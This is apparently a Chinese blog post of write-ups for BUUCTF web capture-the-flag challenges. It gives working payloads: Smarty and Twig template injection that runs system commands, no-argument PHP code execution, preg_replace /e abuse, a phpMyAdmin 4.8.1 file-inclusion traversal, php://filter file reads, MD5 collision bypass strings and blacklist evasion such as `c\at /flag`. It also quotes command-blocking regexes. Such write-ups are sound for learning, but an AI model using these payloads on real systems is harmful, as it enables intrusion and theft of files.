BUUCTF web2

目录

[GXYCTF2019]BabyUpload

[BUUCTF 2018]Online Tool

[BJDCTF2020]The mystery of ip

[GXYCTF2019]禁止套娃

[BJDCTF2020]ZJCTF,不过如此

[GWCTF 2019]我有一个数据库

[网鼎杯 2020 朱雀组]phpweb

[BSidesCF 2020]Had a bad day 

[BJDCTF2020]Mark loves cat

[安洵杯 2019]easy_web

[BJDCTF2020]Cookie is so stable


[GXYCTF2019]BabyUpload

Content-Type 要修改才能传入图片

先上传一个.htaccess 内容如下

再去上传一个 图片马

上传成功连蚁剑 

 

[BUUCTF 2018]Online Tool

大佬总结,好难理解

BUUCTF 2018 Online Tool_恋物语战场原的博客-CSDN博客_buuctf online

PHP escapeshellarg()+escapeshellcmd() 之殇

[BJDCTF2020]The mystery of ip

Smarty的SST ,与flask有很大区别 ,大佬文章很好,我记录一下题解

PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_smarty模板注入

这题是有关ip的 ,在X-Forward-For 后面可以SSTI ,测试

 

 之前也遇到php模板注入 ,用if标签

{if system('cat /flag')}{/if}

[GXYCTF2019]禁止套娃

给了个页面啥也没有,就是扫目录了,dirsearch没扫出来啊

换dirmap,废了不少功夫

可以看到是git泄露

 上工具 得到index.php 源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

 BUUCTF:[GXYCTF2019]禁止套娃_末 初的博客-CSDN博客_buuctf 套娃

 [GXYCTF2019]禁止套娃(.git泄露,无参RCE)_k0f1i的博客-CSDN博客

学习大师傅们的wp 

第一个if 就是禁用了伪协议,第三个就是过滤了参数 

主要是要理解第二个if

?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...)));    括号和字符组成的

用到了几个函数:

  1. scandir() 浏览目录,当scandir()传入'.',可以列出当前目录的所有文件
  2. localeconv() 函数,第一个值就是 ‘ . ’
  3. current() 函数返回数组中的当前元素的值

 这样能浏览目录 了

?exp=var_dump(scandir(current(localeconv())));

 要读取到flag.php 就需要逆转一下数组再读下一个值

可以用

  1. array_reverse() 函数返回翻转顺序的数组
  2. next() 函数将内部指针指向数组中的下一个元素,并输出 
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

传入$text 内容要是"I have a dream" 这里用php://input写入

提示文件包含 伪协议去读 next.php 

 base64转出来得到源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

 preg_replace /e 模式下的代码执行问题,这个文章很好

https://xz.aliyun.com/t/2557

看明白后 ,构造payload

要通过getFlag() 方法去 执行eval 

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

[GWCTF 2019]我有一个数据库

远程文件包含, CVE漏洞, 

之前写的Warmup好像就是一个例题

phpMyAdmin4.8.1漏洞复现及利用_··KElis的博客-CSDN博客

【首发】phpmyadmin4.8.1后台getshell

dirmap扫到 phpmyadmin   ,访问

发现phpmyadmin的版本为4.8.1 ,index.php 里有远程文件包含漏洞

就直接利用 payload了

/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../flag

或者
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag

[网鼎杯 2020 朱雀组]phpweb

学习师傅思路

[网鼎杯 2020 朱雀组]之phpweb两种不同的解题方式_sGanYu的博客-CSDN博客

 

每隔几秒就刷新一次 ,抓包是这样的

 post 两个参数,func和p。func的值为date,p值Y-m-d h:i:s a   

猜想这里是不是可以执行指定的函数,尝试md5

 成功执行,但一些特殊函数都被ban了,

这里用file_get_contents 成功读取到index.php 的源码,这就是靠经验和积累 尝试

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

浏览后明白,这段代码的意思跟猜想一样,可以通过控制func 和 p 来控制函数调用

也可以看到绝大部分危险函数都被禁用了

这里的Test类提醒可以构造反序列化来,进行读取

<?php
    class Test {
        var $p = "ls /";
        var $func = "system";
      
    }
    $a= new Test();
    echo serialize($a);
?>

 没有找到flag在哪,可以用 find / -name flag*  

system("find / -name flag") 查找所有文件名匹配flag的文件

 找到flag直接cat

 了解到还有一个小trick

就是 php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单

所以直接 \system 就可以使用system()了

[BSidesCF 2020]Had a bad day 

扫了一波没有东西

 这里有个注入点,读不到东西,用伪协议试一下

伪协议读 index.php 有回显,根据报错提示,把后面的php去掉就读到index.php 的源码了

 <?php
	$file = $_GET['category'];

	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		 include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
		}
}
?>

strpos() 函数

很简单的逻辑,就是文件包含的伪协议语句必须有 woofers或meowers或index

猜测flag就在flag.php里

构造语句

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

[BJDCTF2020]Mark loves cat

找了找没啥东西,扫了一下 git泄露 ,以后还是直接扫吧

                        

 index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

这道题目是 通过exit()配合$$变量覆盖 ,来输出$flag

有三个exit() 且看了wp 每个都可以走通

[BJDCTF2020]Mark loves cat三种解法_k_du1t的博客-CSDN博客

我理解的并不好,所以找了个好理解的路径走通

foreach($_GET as $x => $y){
    $$x = $$y;
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

构造$yds=$flag ,很简单就是 $x=yds  $y=flag

不能get flag参数 也不能post flag参数

直接?yds=flag 就满足以上条件

[安洵杯 2019]easy_web

url 这串编码经过两次 base64解码 然后16进制转ASCII 得到555.png 

用相同的方法 加密 index.php 

得到  TmprMlJUWTBOalUzT0RKRk56QTJPRGN3TUVFPQ== ,然后传入

解base64得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

 上面一堆代码主要就是实现这种读取文件的方式 ,不用看

我们要对cmd 做文章

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

从正则那里看,过滤了很多东西 来命令执行,

下面还有个md5强比较 , MD5强绕过,解法如下:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 用dir来读取目录 %20过滤空格 

在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\
故此处并没有过滤掉\

直接用命令c\at /flag就行 

[BJDCTF2020]Cookie is so stable

BUUCTF之[BJDCTF2020]Cookie is so stable ----- SSTI注入_若丶时光破灭的博客-CSDN博客

考点是SSTI 的Twig攻击    ,怎么感觉SSTI都喜欢问你是谁? 

 

在这里进行注入就行了

记录一下Twig的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值